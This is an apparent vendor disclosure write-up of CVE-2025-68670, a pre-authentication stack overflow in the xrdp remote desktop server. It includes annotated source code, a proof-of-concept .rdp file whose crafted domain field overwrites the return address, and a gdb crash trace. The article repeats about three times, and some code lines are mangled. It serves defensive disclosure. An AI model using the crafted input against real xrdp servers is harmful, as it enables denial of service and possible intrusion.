short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
-
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}v n -= u8len;
v += u8len;
}else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
-
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
if (s->end - s->p > (int)(n * 2))
{
s->end = s->p + (int)(n * 2);
}while (s_check_rem(s, 2))
{
c32 = get_c32_from_stream(s);
u8len = utf_char32_to_utf8(c32, u8str);
if (u8len + 1 <= vn) //
[4] {
/* Room for this character and a terminator. Add the character */
unsigned int i;
for (i = 0 ; i < u8len ; ++i)
{
v[i] = u8str[i];
}v n -= u8len;
v += u8len;
}else if (vn > 1)
{
/* We've skipped a character, but there's more than one byte
* remaining in the output buffer. Mark the output buffer as
* full so we don't get a smaller character being squeezed into
* the remaining space */
vn = 1;
}r v += u8len;
}
// Restore stream to full length s->end = saved_s_end;
if (vn > 0)
{
*v = '\0'; //
[5] }
+ +rv;
return rv;
}
Consequently, up to 512 bytes of input data in UTF-16 are converted into UTF-8 data, which can also reach a size of up to 512 bytes.CVE-2025-68670: an RCE vulnerability in xrdp
The vulnerability exists within the xrdp_wm_parse_domain_information function, which processes the domain name saved on the server in UTF-8. Like the functions described above, this one is called before client authentication, meaning exploitation does not require valid credentials. The call stack below illustrates this.
x rdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
xrdp_login_wnd_create(struct xrdp_wm *self)
xrdp_wm_init(struct xrdp_wm *self)
xrdp_wm_login_state_changed(struct xrdp_wm *self)
xrdp_wm_check_wait_objs(struct xrdp_wm *self)
xrdp_process_main_loop(struct xrdp_process *self)
The code snippet where the vulnerable function is called looks like this:
char resultIP[256]; //
[7][..SNIP..]
combo->item_index = xrdp_wm_parse_domain_information(
self->session->client_info->domain, //
[6] combo->data_list->count, 1,
resultIP /* just a dummy place holder, we ignore
*/ );
As you can see, the first argument of the function in line [6] is the domain name up to 512 bytes long. The final argument is the resultIP buffer of 256 bytes (as seen in line [7]). Now, let’s look at exactly what the vulnerable function does with these arguments.
static int
xrdp_wm_parse_domain_information(char *originalDomainInfo, int comboMax,
int decode, char *resultBuffer)
{
int ret;
int pos;
int comboxindex;
char index[2];/* If the first char in the domain name is '_' we use the domain name as IP*/
ret = 0; /* default return value */
/* resultBuffer assumed to be 256 chars */
g_memset(resultBuffer, 0, 256);
if (originalDomainInfo[0] == '_') //
[8] {
/* we try to locate a number indicating what combobox index the user
* prefer the information is loaded from domain field, from the client
* We must use valid chars in the domain name.
* Underscore is a valid name in the domain.
* Invalid chars are ignored in microsoft client therefore we use '_'
* again. this sec '__' contains the split for index.*/
pos = g_pos(&originalDomainInfo[1], "__"); //
[9] if (pos > 0)
{
/* an index is found we try to use it */
LOG(LOG_LEVEL_DEBUG, "domain contains index char __");
if (decode)
{
[..SNIP..]
}
/ * pos limit the String to only contain the IP */
g_strncpy(resultBuffer, &originalDomainInfo[1], pos); //
[10] }
else
{
LOG(LOG_LEVEL_DEBUG, "domain does not contain _");
g_strncpy(resultBuffer, &originalDomainInfo[1], 255);
}
}
return ret;
}
As seen in the code, if the first character of the domain name is an underscore (line [8]), a portion of the domain name – starting from the second character and ending with the double underscore (“__”) – is written into the resultIP buffer (line [9]). Since the domain name can be up to 512 bytes long, it may not fit into the buffer even if it’s technically well-formed (line [10]). Consequently, the overflow data will be written to the thread stack, potentially modifying the return address. If an attacker crafts a domain name that overflows the stack buffer and replaces the return address with a value they control, execution flow will shift according to the attacker’s intent upon returning from the vulnerable function, allowing for arbitrary code execution within the context of the compromised process (in this case, the xrdp server).To exploit this vulnerability, the attacker simply needs to specify a domain name that, after being converted to UTF-8, contains more than 256 bytes between the initial “_” and the subsequent “__”. Given that the conversion follows specific rules easily found online, this is a straightforward task: one can simply take advantage of the fact that the length of the same string can vary between UTF-16 and UTF-8. In short, this involves avoiding ASCII and certain other characters that may take up more space in UTF-16 than in UTF-8, while also being careful not to abuse characters that expand significantly after conversion. If the resulting UTF-8 domain name exceeds the 512-byte limit, a conversion error will occur.
PoC
As a PoC for the discovered vulnerability, we created the following RDP file containing the RDP server’s IP address and a long domain name designed to trigger a buffer overflow. In the domain name, we used a specific number of K (U+041A) characters to overwrite the return address with the string “AAAAAAAA”. The contents of the RDP file are shown below:
alternate full address:s:172.22.118.7
full address:s:172.22.118.7
domain:s:_veryveryveryverKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKeryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveryveaaaaaaaaryveryveryveryveryveryveryveryveryveryveryveryverylongdoAAAAAAAA__0
username:s:testuser
When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.
gef➤ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()Protection against vulnerability exploitation
It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.
Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.
Vulnerability remediation timeline
- 12/05/2025: we submitted the vulnerability report via github.com/neutrinolabs/xrdp/s…
- 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
- 12/15/2025: investigation and prioritization of the vulnerability began.
- 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
- 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
- 01/27/2026: the patch was merged into the project’s main branch.
Conclusion
Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.
-
CVE-2025-68670: discovering an RCE vulnerability in xrdp
In addition to KasperskyOS-powered solutions, Kaspersky offers various utility software to streamline business operations. For instance, users of Kaspersky Thin Client, an operating system for thin clients, can also purchase Kaspersky USB Redirector, a module that expands the capabilities of the xrdp remote desktop server for Linux. This module enables access to local USB devices, such as flash drives, tokens, smart cards, and printers, within a remote desktop session – all while maintaining connection security.
We take the security of our products seriously and regularly conduct security assessments. Kaspersky USB Redirector is no exception. Last year, during a security audit of this tool, we discovered a remote code execution vulnerability in the xrdp server, which was assigned the identifier CVE-2025-68670. We reported our findings to the project maintainers, who responded quickly: they fixed the vulnerability in version 0.10.5, backported the patch to versions 0.9.27 and 0.10.4.1, and issued a security bulletin. This post breaks down the details of CVE-2025-68670 and provides recommendations for staying protected.
Client data transmission via RDP
Establishing an RDP connection is a complex, multi-stage process where the client and server exchange various settings. In the context of the vulnerability we discovered, we are specifically interested in the Secure Settings Exchange, which occurs immediately before client authentication. At this stage, the client sends protected credentials to the server within a Client Info PDU (protocol data unit with client info): username, password, auto-reconnect cookies, and so on. These data points are bundled into a TS_INFO_PACKET structure and can be represented as Unicode strings up to 512 bytes long, the last of which must be a null terminator. In the xrdp code, this corresponds to the xrdp_client_info structure, which looks as follows:
{
[..SNIP..]
char username[INFO_CLIENT_MAX_CB_LEN];
char password[INFO_CLIENT_MAX_CB_LEN];
char domain[INFO_CLIENT_MAX_CB_LEN];
char program[INFO_CLIENT_MAX_CB_LEN];
char directory[INFO_CLIENT_MAX_CB_LEN];
[..SNIP..]
}
The value of the INFO_CLIENT_MAX_CB_LEN constant corresponds to the maximum string length and is defined as follows:
#define INFO_CLIENT_MAX_CB_LEN 512
When transmitting Unicode data, the client uses the UTF-16 encoding. However, the server converts the data to UTF-8 before saving it.
if (ts_info_utf16_in( //
[1] s, len_domain, self->rdp_layer->client_info.domain, sizeof(self->rdp_layer->client_info.domain)) != 0) //
[2]{
[..SNIP..]
}
The size of the buffer for unpacking the domain name in UTF-8 [2] is passed to the ts_info_utf16_in function [1], which implements buffer overflow protection [3].
static int ts_info_utf16_in(struct stream *s, int src_bytes, char *dst, int dst_len)
{
int rv = 0;
LOG_DEVEL(LOG_LEVEL_TRACE, "ts_info_utf16_in: uni_len %d, dst_len %d", src_bytes, dst_len);
if (!s_check_rem_and_log(s, src_bytes + 2, "ts_info_utf16_in"))
{
rv = 1;
}
else
{
int term;
int num_chars = in_utf16_le_fixed_as_utf8(s, src_bytes / 2,
dst, dst_len);
if (num_chars > dst_len) //
[3] {
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: output buffer overflow"); rv = 1;
}
/ / String should be null-terminated. We haven't read the terminator yet
in_uint16_le(s, term);
if (term != 0)
{
LOG(LOG_LEVEL_ERROR, "ts_info_utf16_in: bad terminator. Expected 0, got %d", term);
rv = 1;
}
}
return rv;
}
Next, the in_utf16_le_fixed_as_utf8_proc function, where the actual data conversion from UTF-16 to UTF-8 takes place, checks the number of bytes written [4] as well as whether the string is null-terminated [5].
{
unsigned int rv = 0;
char32_t c32;
char u8str[MAXLEN_UTF8_CHAR];
unsigned int u8len;
char *saved_s_end = s->end;// Expansion of S_CHECK_REM(s, n*2) using passed-in file and line #ifdef USE_DEVEL_STREAMCHECK
parser_stream_overflow_check(s, n * 2, 0, file, line); #endif
// Temporarily set the stream end pointer to allow us to use
// s_check_rem() when reading in UTF-16 words
